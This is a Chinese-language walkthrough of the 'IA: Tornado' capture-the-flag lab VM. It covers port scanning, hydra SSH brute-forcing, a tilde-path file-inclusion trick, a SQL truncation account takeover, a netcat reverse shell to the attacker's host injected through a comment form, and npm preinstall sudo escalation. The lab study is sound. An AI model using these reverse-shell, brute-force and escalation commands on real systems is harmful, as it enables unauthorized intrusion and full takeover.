IA TORNADO 靶机
介绍:
About Release
- Name: IA: Tornado
- Date release: 20 Dec 2020
- Author: InfoSec Articles
- Series: IA
信息收集
- arp-scan 10.9.23.0/24 找到目标靶机
sudo arp-scan 10.9.23.0/24
10.9.23.145     08:00:27:41:87:7b       PCS Systemtechnik GmbH
10.9.23.145     08:00:27:41:87:7b       PCS Systemtechnik GmbH (DUP: 2)
- nmap -sV -p- -A 10.9.23.145 开放了22端口和80端口 可以尝试爆破和在web端寻找漏洞
sudo nmap -sV -p- -A 10.9.23.145
Starting Nmap 7.93 ( https://nmap.org ) at 2024-01-20 15:05 CST
Nmap scan report for bogon (10.9.23.145)
Host is up (0.00053s latency).
Not shown: 65533 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
| ssh-hostkey: 
|   2048 0f570d60314afd2bdb3e9e2f632e35df (RSA)
|   256 009ac8d3ba1b47b248a888249ffe33cc (ECDSA)
|_  256 6dafdb2125eeb0a67d05f306f065ffdc (ED25519)
80/tcp open  http    Apache httpd 2.4.38 ((Debian))
|_http-title: Apache2 Debian Default Page: It works
|_http-server-header: Apache/2.4.38 (Debian)
MAC Address: 08:00:27:41:87:7B (Oracle VirtualBox virtual NIC)
Device type: general purpose
Running: Linux 4.X|5.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5
OS details: Linux 4.15 - 5.6
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
- 密码爆破 因为有22端口 尝试爆破
- hydra爆破 root密码为idkrootpassword
hydra ssh://10.9.23.141 -l root -P /home/kali/tools/wordlists/top_password.txt -V
[22][ssh] host: 10.9.23.141   login: root   password: idkrootpassword
- ssh登录尝试 登陆成功
ssh root@10.9.23.141                                          130 ⨯ 5 ⚙
root@10.9.23.141's password: 
Linux tornado 4.19.0-13-amd64 #1 SMP Debian 4.19.160-2 (2020-11-28) x86_64
The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Mon Feb 26 14:57:00 2024 from 10.9.23.234
root@tornado:~# 
- dirb
sudo dirb http://10.9.23.145
发现扫描不出有用的信息 换一种扫描
5. gobuster
gobuster dir -u http://10.9.23.145 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x .php,.html,.txt,.sh
===============================================================
Gobuster v3.5
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://10.9.23.145
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.5
[+] Extensions:              php,html,txt,sh
[+] Timeout:                 10s
===============================================================
2024/01/20 15:11:06 Starting gobuster in directory enumeration mode
===============================================================
/.html                (Status: 403) [Size: 276]
/index.html           (Status: 200) [Size: 10701]
/.php                 (Status: 403) [Size: 276]
/manual               (Status: 301) [Size: 311] [--> http://10.9.23.145/manual/]
/javascript           (Status: 301) [Size: 315] [--> http://10.9.23.145/javascript/]
/.php                 (Status: 403) [Size: 276]
/.html                (Status: 403) [Size: 276]
/bluesky              (Status: 301) [Size: 312] [--> http://10.9.23.145/bluesky/]
/server-status        (Status: 403) [Size: 276]
扫描到目录bluesky 查看一下网页  --> http://10.9.23.145/bluesky/
访问后没有发现有信息 源代码等都看过没有  接着扫描一下新目录
6. gobuster
gobuster dir -u http://10.9.23.145/bluesky/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x .php,.html,.txt,.sh
===============================================================
Gobuster v3.5
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://10.9.23.145/bluesky/
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.5
[+] Extensions:              php,html,txt,sh
[+] Timeout:                 10s
===============================================================
2024/01/20 15:25:20 Starting gobuster in directory enumeration mode
===============================================================
/.php                 (Status: 403) [Size: 276]
/.html                (Status: 403) [Size: 276]
/contact.php          (Status: 302) [Size: 2034] [--> login.php]
/about.php            (Status: 302) [Size: 2024] [--> login.php]
/login.php            (Status: 200) [Size: 824]
/index.html           (Status: 200) [Size: 14979]
/signup.php           (Status: 200) [Size: 825]
/css                  (Status: 301) [Size: 316] [--> http://10.9.23.145/bluesky/css/]                                                                               
/imgs                 (Status: 301) [Size: 317] [--> http://10.9.23.145/bluesky/imgs/]                                                                              
/js                   (Status: 301) [Size: 315] [--> http://10.9.23.145/bluesky/js/]                                                                                
/logout.php           (Status: 302) [Size: 0] [--> login.php]
/dashboard.php        (Status: 302) [Size: 2024] [--> login.php]
/port.php             (Status: 302) [Size: 2098] [--> login.php]
扫描出了/contact.php、/signup.php、/port.php目录  查看一下

是个登录界面  继续寻找别的 看有没有密码等
进入/signup.php进入页面 这是一个注册页面 先注册一个登录看看
尝试进入后台获得shell
- 
在注册页面注册身份登录 http://10.9.23.145/bluesky/signup.php 
  
- 
在网页源代码发现了name=12 可能是最多只能输入12个字符的用户名 不知道有什么用 先保存  
- 
在登录页面用刚才的账号密码登录看 http://10.9.23.145/bluesky/login.php 
 账号:wwtt@163.com
 密码:123
  
- 
登录到页面  
- 
查看源代码发现第三个模块中的源代码有注释 给了一个目录 /home/tornado/imp.txt 
 并且他告诉我们LFI是已经被修复 不要忘记尝试 那么就能可能还存在 这里的LFI就是文件包含漏洞
  
 发现目录后这里因为给的是一个家目录的内容 直接访问不能访问 因为是家目录 在linux中 家目录会用~代替 ~是home的别名 这里用了个别名的文件包含漏洞 尝试用~代替/home/尝试是否可以访问 【 http://10.9.23.145/~tornado/ 】
> port页面说LFI已经修复了,说明常见的利用姿势都不顶用了
> 
> 而源码又提示了个`<!-- /home/tornado/imp.txt -->`
> 
> 说明可以读取这个文件的内容,直接读取肯定不奏效的
> 
> 这边利用`~`代替家目录,可以进行读取
- 访问页面查看内容 发现了他提示的内容   里面有txt文件 
- 文件中有几个用户名 收集起来
ceo@tornado
cto@tornado
manager@tornado
hr@tornado
lfi@tornado
admin@tornado
jacob@tornado
it@tornado
sales@tornado
- 因为有了用户名但是没有密码 所以尝试爆破 但是在手动尝试时发现用户名不能输入完全 查看源代码中限制了登录的长度 为13 那么用户名中有正好13字符的 可能只有这些才是正确的 所以尝试爆破这三个用户名
admin@tornado
jacob@tornado
sales@tornado
密码爆破
- 
打开bp爆破 创建用户名字典 然后使用集束炸弹模式 
- 
抓取到登陆时的数据 选中用户名密码  
  
- 
创建一个用户名字典 在字典中添加三个用户名  
- 
进程2选择runtime file 选择rockyou字典  
- 
开始爆破  
- 
爆破发现admin用户有很多密码 尝试登录发现每一个密码都可以登录 
- 
但是剩下两个用户都没有密码 尝试注册一下sales@tornado用户  
- 
注册成功了 登录查看和普通用户都一样 但是注册成功证明一个用户名可能会有很多密码 可以登录 
SQL Truncation Attack(SQL 截断攻击)
 由于用户名位置作了限制联想到后台数据库同样做了限制再加上admin@tornado用户的多个密码联想到后台肯定有多个admin@tornado用户,两个条件加在一起可以猜测到就是SQL截断攻击后产生的多个admin@tornado用户
简介:
 当数据库由于长度限制而截断用户输入时,就会发生 SQL 截断漏洞。攻击者可以收集关键字段(例如用户名)长度的信息,并利用这些信息获得未经授权的访问。
让我们来测试一下,注册一个帐号先修改输入限制,填入用户名是jacob@tornado空格a,
- 尝试注册    用户的账号 但是显示账号已经存在了 
- 查看登陆界面的源代码  发现了和注册界面一样的显示一个用户名的长度   
- 这里的type字段经过尝试是可以更改的 我们更改到20 然后注册一个jacob@tornado a  这样的用户名在这注册的时候可以注册并且登录时网页只会识别13位  也就是和jacob@tornado一样的用户名 
可以注册成功
- 登录查看区别  登录的密码就是我们刚才注册的加了一个a的用户的密码 但是用户在登录的时候只会识别13位  
- 登陆成功  刚才在别的用户中  评论注释功能都关着   这个用户是可以评论的  
- 尝试评论看是否可以有返回值  评论id会返回id  但是没有回显id的内容  说明可以写入内容但是不能执行  
反弹shell
- 尝试写入一个反弹shell  看能否执行【nc -e /bin/bash 10.9.23.234 8888】瑞士军刀nc在网页提交反弹命令 
- kali中开启nc监听8888端口 
- 点击提交评论后就可以弹进去 
- 开启一个新的shell会话【python -c 'import pty;pty.spawn("/bin/bash")'】 
- 尝试sudo -l提权  提示可以用npm执行bin/bash命令 使用catchme用户的权限
  
- npm是Node.js的包管理器,它是一个命令行工具,用于下载、安装和管理JavaScript包和依赖项。它是Node.js平台的默认包管理器,与Node.js一起安装。
通过npm,你可以执行各种操作,包括:
- 
安装包: 通过 npm install命令安装指定的npm包或模块到你的项目中。
- 
管理依赖项: npm允许你在 package.json文件中列出项目的依赖项,并且可以通过npm install安装这些依赖项。
- 
发布包: 如果你编写了一个模块或库,并希望其他人能够使用它,你可以通过 npm publish命令将其发布到npm注册表上。
- 
更新包: 使用 npm update命令可以更新你项目的依赖项到它们的最新版本。
- 
查找包: 你可以通过 npm search命令在npm注册表中搜索包。
- 
执行脚本: 通过在 package.json文件中定义scripts字段,你可以使用npm run命令执行预定义的脚本任务。
- 
查看下nmp的使用方法 npm使用方法 
  
- 
使用sudo方式命令 - cd /tmp
- TF=$(mktemp -d) 创建一个临时目录
- echo '{"scripts": {"preinstall": "/bin/sh"}}' > $TF/package.json
- 这行命令会将一个包含了preinstall脚本的package.json文件写入到指定的临时目录中。这个脚本会在npm安装包之前被执行。在这个例子中,preinstall脚本指定了/bin/sh,这会启动一个shell。
 
- 这行命令会将一个包含了
- ls
- chmod 777 tmp.WD2zg0gFqe 给生成的文件权限
- sudo -u catchme npm -C $TF --unsafe-perm i 利用这个用户执行npm
 
- 
成功提权到普通用户 catchme  
- 
尝试查看家目录内容 cd /home/catchme ls 
  
- 
发现有user.txt 还有enc.py两个文件 依次查看 发现了一个用户名一个 
  
- 
先记录用户名 查看py文件 问了gpt说是凯撒加密的密文 找网页解密一下 给顶的加密的消息是hcjqnnsotrrwnqc 
  
- 
网站给到的密码中只有一个看起来像密码 (我是真没看出来 这个是看教程的) 
ID:0 : hcjqnnsotrrwnqc
ID:1 : gbipmmrnsqqvmpb
ID:2 : fahollqmrppuloa
ID:3 : ezgnkkplqootknz
ID:4 : dyfmjjokpnnsjmy
ID:5 : cxeliinjommrilx
ID:6 : bwdkhhminllqhkw
ID:7 : avcjgglhmkkpgjv
ID:8 : zubiffkgljjofiu
ID:9 : ytaheejfkiineht
ID:10 : xszgddiejhhmdgs
ID:11 : wryfcchdigglcfr
ID:12 : vqxebbgchffkbeq
ID:13 : upwdaafbgeejadp
ID:14 : tovczzeafddizco
ID:15 : snubyydzecchybn
ID:16 : rmtaxxcydbbgxam
ID:17 : qlszwwbxcaafwzl
ID:18 : pkryvvawbzzevyk
ID:19 : ojqxuuzvayyduxj
ID:20 : nipwttyuzxxctwi
ID:21 : mhovssxtywwbsvh
ID:22 : lgnurrwsxvvarug
ID:23 : kfmtqqvrwuuzqtf
ID:24 : jelsppuqvttypse
ID:25 : idkrootpussxord
ID:26 : hcjqnnsotrrwnqc
ID:27 : gbipmmrnsqqvmpb
ID:28 : fahollqmrppuloa
ID:29 : ezgnkkplqootknz
ID:30 : dyfmjjokpnnsjmy
ID:31 : cxeliinjommrilx
ID:32 : bwdkhhminllqhkw
ID:33 : avcjgglhmkkpgjv
ID:34 : zubiffkgljjofiu
ID:35 : ytaheejfkiineht
ID:36 : xszgddiejhhmdgs
ID:37 : wryfcchdigglcfr
ID:38 : vqxebbgchffkbeq
ID:39 : upwdaafbgeejadp
- 只有第25个 idkrootpussxord像密码 尝试后 刚才的用户以及root的密码都不是 稍作修改为
- idkrootpassword
- 切换成功root
  

 
                
            
         
         浙公网安备 33010602011771号
浙公网安备 33010602011771号